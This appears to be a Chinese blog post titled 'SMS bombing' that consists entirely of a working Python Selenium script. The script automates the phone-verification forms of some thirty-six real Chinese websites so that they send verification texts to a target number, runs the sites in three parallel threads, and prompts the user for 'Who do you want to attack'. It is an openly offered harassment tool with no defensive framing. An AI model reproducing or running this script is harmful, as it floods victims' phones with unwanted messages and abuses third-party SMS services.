短信轰炸

import time
from selenium import webdriver
import threading

class Bomber(object):
    def __init__(self, phone):
        self.phone = phone
        self.options = webdriver.ChromeOptions()
        self.options.add_argument('--headless')

        # 咪咕
    def func0(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.migu.cn/')
        browser.find_element_by_xpath('//*[@id="J_Login"]').click()
        browser.find_element_by_xpath('//*[@id="J_PhoneOne"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="J_GetMsgCodeOne"]').click()
        browser.quit()

    # 1号店
    def func1(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.yhd.com/passport/register_input.do')
        browser.find_element_by_xpath('//*[@id="userName"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
        browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
        browser.quit()

    # 中国移动
    def func2(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://login.10086.cn/login.html')
        browser.find_element_by_xpath('//*[@id="sms_login_1"]').click()
        browser.find_element_by_xpath('//*[@id="sms_name"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="getSMSPwd1"]').click()
        browser.quit()

    # 51book
    def func3(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in')
        browser.find_element_by_xpath('//*[@id="cg_06"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="sendMSgBtu"]').click()
        browser.quit()

    # 世界邦
    def func4(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.shijiebang.com/reg/')
        browser.find_element_by_xpath('/html/body/div[1]/div/div[3]/div/ul[1]/li[1]/a').click()
        browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/div/label[2]/input').click()
        browser.find_element_by_xpath(
            '/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[1]/td/div/input').send_keys(self.phone)
        browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[2]/td/div/button').click()
        browser.quit()

    # 优酷
    def func5(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://account.youku.com/register.htm')
        browser.find_element_by_xpath('//*[@id="passport"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="password"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="repeatPsd"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="getMobileCode"]').click()
        browser.quit()

    # 亚马逊
    def func6(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get(
            'https://www.amazon.cn/ap/register?_encoding=UTF8&openid.assoc_handle=cnflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.cn%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dnav_custrec_newcust')
        # browser.find_element_by_xpath('//*[@id="nav-flyout-ya-newCust"]/a').click()
        browser.find_element_by_xpath('//*[@id="ap_customer_name"]').send_keys('Mike998')
        browser.find_element_by_xpath('//*[@id="ap_phone_number"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="ap_password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="ap_register_form"]/div/div/div[5]/div/label/input').click()
        browser.find_element_by_xpath('//*[@id="continue"]').click()
        browser.quit()

    # 智联
    def func7(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.zhaopin.com/account/register')
        browser.find_element_by_xpath(
            '//*[@id="zpPassportWidgetContainer"]/div/div/div/div[2]/div[2]/a-input-phone/div/input').send_keys(
            self.phone)
        browser.find_element_by_xpath('//*[@id="zpPassportWidgetContainer"]/div/div/div/div[2]/div[3]/button').click()
        browser.quit()

    # 自如
    def func8(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.ziroom.com/')
        browser.find_element_by_xpath('//*[@id="zRegister"]').click()
        browser.find_element_by_xpath('//*[@id="registerUserHook"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="registerSendHook"]').click()
        time.sleep(1)
        browser.quit()

    # 97格格
    def func9(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.97gg.net/Account/Register')
        browser.find_element_by_xpath('//*[@id="phoneRegistTab"]/tab').click()
        browser.find_element_by_xpath('//*[@id="UserName"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="Password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="ConfirmPassword"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="chkCodeSendBtn"]').click()
        browser.quit()

    # 千米
    def func10(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.1000.com/reg?us=3W-head')
        browser.find_element_by_xpath(
            '//*[@id="react-content"]/div/div/div/div[2]/form/div[2]/div[2]/div/div/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="send_code"]').click()
        browser.quit()

    # 唯品会
    def func11(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.vip.com/register')
        browser.find_element_by_xpath('//*[@id="J_mobile_name"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="J_mobile_verifycode_btn"]').click()
        browser.quit()

    # 嗨厨房
    def func12(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://m.haichufang.com/reg.html')
        browser.find_element_by_xpath('//*[@id="login"]/div[2]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="login"]/div[2]/div[2]/div[1]').click()
        browser.quit()

    # 好美家
    def func13(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.jaja123.com/web/register')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[2]/div[1]/input').send_keys(u'张飞')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[3]/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[4]/div[1]/input').send_keys(
            'pwd123456')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[5]/div[1]/input').send_keys(
            'pwd123456')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[6]/div[1]/div/span/button').click()
        browser.quit()

    # 小米
    def func14(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://cn.account.xiaomi.com/pass/register?_locale=zh_CN')
        browser.find_element_by_xpath(
            '//*[@id="main_container"]/div[3]/div[1]/div/div[3]/div[2]/label/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="main_container"]/div[3]/div[1]/div/div[6]/input').click()
        browser.quit()

    # 巨人网络
    def func15(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://reg.ztgame.com/')
        browser.find_element_by_xpath('//*[@id="reg_form"]/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="reg_form"]/div[2]/input[2]').click()
        browser.quit()

    # 微盟
    def func16(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://account.weimob.com/register')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="signUpForm"]/div[3]/a').click()
        browser.quit()

    # 商品宅配
    def func17(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.homekoo.com/zhixiao/cuxiao/index.php')
        browser.find_element_by_xpath('//*[@id="username5"]').send_keys(u'张飞')
        browser.find_element_by_xpath('//*[@id="tel5"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="submit_img5"]').click()
        browser.quit()

    # 快乐购
    def func18(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.happigo.com/register/')
        browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="send_auth_code"]').click()
        browser.quit()

    # 手机中国
    def func19(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://passport.cnmo.com/register/')
        browser.find_element_by_xpath('//*[@id="m_mobile"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="m_uname"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="m_password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="m_confirm"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="m_getcode"]').click()
        browser.quit()

    # bilibili
    def func20(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.bilibili.com/register/phone.html#/phone')
        browser.find_element_by_xpath('//*[@id="registerForm"]/div[1]/div/input').send_keys('asdf实打实啊')
        browser.find_element_by_xpath('//*[@id="registerForm"]/div[3]/div/input').send_keys('AQWERasdff..')
        browser.find_element_by_xpath('//*[@id="registerForm"]/div[5]/div/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="registerForm"]/div[7]/button/span').click()
        browser.quit()

    # 人人网
    def func21(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get(
            'http://reg.renren.com/xn6218.do?ss=10131&rt=1&f=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3Du7G6Sg54FPCY4lm8l8uqVp4a8YWmKBbFDan6TfGc3Gu%26wd%3D%26eqid%3D97ef217e000d6d7f000000035cf8cd74&g=v6reg')
        browser.find_element_by_xpath(
            '//*[@id="regMobile"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="pwd"]').send_keys('56w3asd2213')
        browser.find_element_by_xpath('//*[@id="btn_getcode"]').click()
        browser.quit()

    def func22(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.facebank.cn/user.html')
        # browser.switch_to.alert()
        browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="getSmsCode"]').click()
        time.sleep(1)
        browser.quit()

    # 知乎
    def func23(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.zhihu.com/signup?next=%2F')
        browser.find_element_by_xpath(
            '//*[@id="root"]/div/main/div/div/div/div[2]/div[1]/div/form/div[1]/div[2]/div[1]/input').send_keys(
            self.phone)
        # 焦点问题未解决,支付宝接口无效
        time.sleep(1)
        browser.find_element_by_xpath(
            '//*[@id="root"]/div/main/div/div/div/div[2]/div[1]/div/form/div[3]/div[1]/button').click()
        browser.quit()

    # 蛋壳
    def func24(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.danke.com/user-center/login.html')
        browser.find_element_by_xpath('/html/body/div[3]/div/div/div[2]/div[2]/div[1]/div[1]/input').send_keys(
            self.phone)
        browser.find_element_by_xpath('/html/body/div[3]/div/div/div[2]/div[2]/div[1]/div[2]/input[2]').click()
        browser.quit()

    def func25(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://jrh.financeun.com/Login/jrwLogin?web=jrw')
        browser.find_element_by_xpath('//*[@id="login-segment-phoneLogin"]').click()
        browser.find_element_by_xpath('//*[@id="quickMobile"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="quickSendMsgCode"]').click()
        browser.quit()

    def func26(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.maifupay.com/register')
        browser.find_element_by_xpath('/html/body/div[2]/div/div[1]/form/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="sendVerifySmsButton"]').click()
        browser.quit()

    def func27(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://login.51job.com/register.php?lang=c&url=http%3A%2F%2Fwww.51job.com%2F')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="btn7"]').click()
        browser.quit()

    # 安居客
    def func28(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://login.anjuke.com/login/form?from=register')
        time.sleep(2)
        browser.find_element_by_xpath('//*[@id="phoneIpt"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="sendSmsBtn"]').click()

        browser.quit()

    # 前程无忧
    def func29(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://login.51job.com/login.php?loginway=1&lang=c&url=http%3A%2F%2Fwww.51job.com%2F')
        browser.find_element_by_xpath('//*[@id="loginname"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="btn7"]').click()
        browser.quit()

    def func30(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://my.ruanmei.com/?page=register')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="sendsms"]').click()
        browser.quit()

    def func31(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.juhe.cn/register')
        browser.find_element_by_xpath('//*[@id="username"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="mobilephone"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="reg_smsbtn"]').click()
        time.sleep(1)
        browser.quit()

    def func32(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://passport.zongheng.com/webreg?location=http%3A%2F%2Fwww.zongheng.com%2F')
        browser.find_element_by_xpath('//*[@id="regphone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('/html/body/div[3]/div[2]/p[3]/span').click()
        browser.quit()

    # 房天下
    def func33(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.fang.com/?backurl=https%3A%2F%2Fyaan.fang.com%2F')
        browser.find_element_by_xpath('//*[@id="tel"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="send"]').click()
        browser.quit()

    # 聚美优品
    def func34(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.jumei.com/i/account/signup')
        browser.find_element_by_xpath('/html/body/div[3]/div/div[3]/button').click()
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="getPhoneCode"]/strong').click()
        browser.quit()

    # 1号店
    def func35(self):
        browser = webdriver.Chrome(chrome_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.yhd.com/passport/register_input.do')

        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
        browser.quit()

def attack1(phone):
    func = ['func%d' % i for i in range(0, 15)]
    for i in func:
        if hasattr(Bomber, i):
            try:
                getattr(Bomber(phone), i)()
                print('%s has excuted!' % i)

            except:
                print('%s meet some problems!' % i)

                continue
        else:
            print('There is not %s' % i)



def attack2(phone):
    func = ['func%d' % i for i in range(15, 30)]
    for i in func:
        if hasattr(Bomber, i):
            try:
                getattr(Bomber(phone), i)()
                print('%s has excuted!' % i)

            except:
                print('%s meet some problems!' % i)

                continue
        else:
            print('There is not %s' % i)



def attack3(phone):
    func = ['func%d' % i for i in range(30, 36)]
    for i in func:
        if hasattr(Bomber, i):
            try:
                getattr(Bomber(phone), i)()
                print('%s has excuted!' % i)

            except:
                print('%s meet some problems!' % i)

                continue
        else:
            print('There is not %s' % i)



if __name__ == '__main__':
    phone = input('Who do you want to attack:').strip()
    thread1 = threading.Thread(target=attack1, name='thread1', args=(phone,))
    thread2 = threading.Thread(target=attack2, name='thread2', args=(phone,))
    thread3 = threading.Thread(target=attack3, name='thread3', args=(phone,))
    thread1.start()
    thread2.start()
    thread3.start()
    thread1.join()
    thread2.join()
    thread3.join()




你可能感兴趣的:(Selenium,短信轰炸)